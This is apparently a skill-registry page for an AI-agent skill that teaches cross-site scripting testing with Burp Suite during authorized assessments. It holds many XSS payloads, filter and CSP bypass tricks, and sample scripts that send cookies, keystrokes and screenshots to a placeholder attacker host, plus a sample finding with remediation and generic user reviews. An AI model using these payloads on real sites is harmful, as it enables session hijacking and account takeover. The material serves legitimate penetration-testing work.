Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
Automate repetitive workflows and reduce manual effort
Example: Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example: Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example: Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Time estimate: 15-45 minutes depending on use case complexity
Prerequisites
Submit your Claude Code skill and start earning
epx add mukul975/Anthropic-Cybersecurity-Skills/testing-for-xss-vulnerabilities-with-burpsuiteCompatible with
Supported agents
| name | testing-for-xss-vulnerabilities-with-burpsuite |
| description | Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - xss - burpsuite - owasp - web-security - cross-site-scripting |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Set up the proxy and crawl the application to discover all input vectors.
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
Send requests to Repeater and inject unique canary strings to find where user input is reflected.
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
Based on the reflection context, craft targeted XSS payloads.
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>
# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
When basic payloads are blocked, use advanced techniques to bypass protections.
# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>
# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=alert(1)>
# Unicode escapes: <script>\u0061lert(1)</script>
# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
Confirm exploitability and document the full attack chain.
# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>
# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>
# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
fetch('https://attacker-server.example.com/screen',{
method:'POST',body:canvas.toDataURL()
});
});
</script>
# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps
| Concept | Description |
|---|---|
| Reflected XSS | Payload is included in the server response immediately from the current HTTP request |
| Stored XSS | Payload is persisted on the server (database, file) and served to other users |
| DOM-based XSS | Payload is processed entirely client-side by JavaScript without server reflection |
| XSS Sink | A JavaScript function or DOM property that executes or renders untrusted input |
| XSS Source | A location where attacker-controlled data enters the client-side application |
| CSP | Content Security Policy header that restricts which scripts can execute on a page |
| Context-aware encoding | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |
| Mutation XSS (mXSS) | XSS that exploits browser HTML parser inconsistencies during DOM serialization |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Primary testing platform with scanner, intruder, repeater, and DOM Invader |
| DOM Invader | Burp's built-in browser extension for DOM XSS testing |
| Hackvertor | Burp BApp for advanced payload encoding and transformation |
| XSS Hunter | Blind XSS detection platform that captures execution evidence |
| Dalfox | CLI-based XSS scanner with parameter analysis (go install github.com/hahwul/dalfox/v2@latest) |
| CSP Evaluator | Google tool for analyzing Content Security Policy effectiveness |
A search page reflects the query parameter in the results heading without encoding. Inject <script>alert(document.domain)</script> in the search parameter and demonstrate cookie theft via reflected XSS.
A blog comment form sanitizes <script> tags but allows <img> tags. Use <img src=x onerror=alert(document.domain)> to achieve stored XSS that fires for every visitor loading the page.
A React/Angular SPA reads window.location.hash and injects it into the DOM via innerHTML. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.
A WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.
## XSS Vulnerability Finding
**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser
### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms
### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set
### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versiontesting-for-xss-vulnerabilities-with-burpsuiteExecute the skills CLI command in your project's root directory to begin installation:
epx add mukul975/Anthropic-Cybersecurity-Skills/testing-for-xss-vulnerabilities-with-burpsuiteFetches testing-for-xss-vulnerabilities-with-burpsuite from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
.cursor/skills/testing-for-xss-vulnerabilities-with-burpsuite
Restart Cursor to activate testing-for-xss-vulnerabilities-with-burpsuite. Access via /testing-for-xss-vulnerabilities-with-burpsuitein your agent's command palette.
Learn more:View source on GitHubSkills CLI docsAbout CursorWhat are agent skills?
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
exploiting-api-injection-vulnerabilities
mukul975/Anthropic-Cybersecurity-Skills · exploiting-api-injection-vulnerabilities · same repo
performing-network-packet-capture-analysis
mukul975/Anthropic-Cybersecurity-Skills · performing-network-packet-capture-analysis · same repo
hunting-credential-stuffing-attacks
mukul975/Anthropic-Cybersecurity-Skills · hunting-credential-stuffing-attacks · same repo
detecting-rdp-brute-force-attacks
mukul975/Anthropic-Cybersecurity-Skills · detecting-rdp-brute-force-attacks · same repo
performing-web-application-penetration-test
mukul975/Anthropic-Cybersecurity-Skills · performing-web-application-penetration-test · same repo
performing-phishing-simulation-with-gophish
mukul975/Anthropic-Cybersecurity-Skills · performing-phishing-simulation-with-gophish · same repo
Keeps context tight: testing-for-xss-vulnerabilities-with-burpsuite is the kind of skill you can hand to a new teammate without a long onboarding doc.
testing-for-xss-vulnerabilities-with-burpsuite is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in testing-for-xss-vulnerabilities-with-burpsuite — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Registry listing for testing-for-xss-vulnerabilities-with-burpsuite matched our evaluation — installs cleanly and behaves as described in the markdown.
testing-for-xss-vulnerabilities-with-burpsuite has been reliable in day-to-day use. Documentation quality is above average for community skills.
testing-for-xss-vulnerabilities-with-burpsuite reduced setup friction for our internal harness; good balance of opinion and flexibility.
We added testing-for-xss-vulnerabilities-with-burpsuite from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
testing-for-xss-vulnerabilities-with-burpsuite fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added testing-for-xss-vulnerabilities-with-burpsuite from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
testing-for-xss-vulnerabilities-with-burpsuite reduced setup friction for our internal harness; good balance of opinion and flexibility.
showing 1-10 of 65